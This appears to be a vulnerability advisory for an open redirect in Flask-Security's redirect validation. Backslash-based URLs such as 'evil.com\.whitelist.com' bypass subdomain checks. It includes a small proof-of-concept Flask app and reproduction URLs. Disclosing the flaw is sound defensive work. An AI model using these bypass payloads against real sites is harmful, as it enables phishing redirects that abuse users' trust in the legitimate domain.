Flask-Security has an Open Redirect issue

Summary

# Open Redirect in Flask-Security

## Summary

`flask_security.utils.validate_redirect_url()` can allow an attacker-controlled redirect URL when subdomain redirects are enabled.

The bypass uses a backslash inside the URL authority/host:

```text http://evil.com\.whitelist.com http://evil.com%5C.whitelist.com ```

Python's `urlsplit()` parses the full authority as `evil.com\.whitelist.com` or `evil.com%5C.whitelist.com`. Because the value ends with `.whitelist.com`, `validate_redirect_url()` accepts it as an allowed subdomain of `whitelist.com`.

This is similar in class to the previous Flask-Security-Too open redirect advisory CVE-2023-49438 / GHSA-672h-6x89-76m5, where crafted redirect URLs bypassed validation through browser URL normalization behavior.

## Affected Configuration

The issue requires subdomain redirects to be enabled:

```python SERVER_NAME = "whitelist.com" SECURITY_REDIRECT_ALLOW_SUBDOMAINS = True ```

Tested environment:

```text Flask-Security: 5.8.0 Flask: 3.1.3 Werkzeug: 3.1.8 ```

## Impact

An attacker can craft a URL that passes Flask-Security's redirect validation and produces a `302` response to an attacker-controlled URL-like authority.

This can be used for phishing or other attacks that rely on a trusted application redirecting users to an attacker-controlled destination.

## Proof of Concept

### PoC Flask App

```python from __future__ import annotations

from importlib.metadata import version from urllib.parse import urlsplit

from flask import Flask, jsonify, redirect, request

from flask_security.utils import validate_redirect_url

app = Flask(__name__) app.config.update( SECRET_KEY="poc-only", SERVER_NAME="whitelist.com", SECURITY_REDIRECT_ALLOW_SUBDOMAINS=True, SECURITY_REDIRECT_BASE_DOMAIN=None, SECURITY_REDIRECT_ALLOWED_SUBDOMAINS=[], )

@app.get("/") def index(): return jsonify( flask_version=version("Flask"), configured_server_name=app.config["SERVER_NAME"], examples=[ r"http://evil.com\.whitelist.com", "http://evil.com%5C.whitelist.com", "http://sub.whitelist.com", "http://sub.not-whitelist.com", ], )

@app.get("/check") def check(): next_url = request.args.get("next", "") parsed = urlsplit(next_url)

return jsonify( next=next_url, valid=validate_redirect_url(next_url), parsed={ "scheme": parsed.scheme, "netloc": parsed.netloc, "hostname": parsed.hostname, "path": parsed.path, }, )

@app.get("/redir") def redir(): next_url = request.args.get("next", "") if not validate_redirect_url(next_url): return jsonify(error="blocked", next=next_url), 400

return redirect(next_url)

if __name__ == "__main__": app.run(host="127.0.0.1", port=5000, debug=False) ```

### Steps to Reproduce

Run the PoC with the target project's Flask version:

```bash .venv/bin/python poc_redirect_app.py ```

The invalid comparison case is correctly blocked:

```bash http://127.0.0.1:5000/redir?next=http://evil.com ```

Observed result:

<img width="1019" height="294" alt="image" src="https://github.com/user-attachments/assets/de25ac4d-b37f-4369-928e-f44dfd5b7557" />

Check the validation result:

```bash http://127.0.0.1:5000/check?next=http://evil.com%5C.whitelist.com ```

Observed result:

<img width="1029" height="634" alt="image" src="https://github.com/user-attachments/assets/8e5ec8a6-42a4-438a-8d12-a27724519091" />

## References

- CVE-2023-49438: https://advisories.gitlab.com/pypi/flask-security-too/CVE-2023-49438/ - GHSA-672h-6x89-76m5: https://osv.dev/vulnerability/CVE-2023-49438 - NVD entry for CVE-2023-49438: https://nvd.nist.gov/vuln/detail/CVE-2023-49438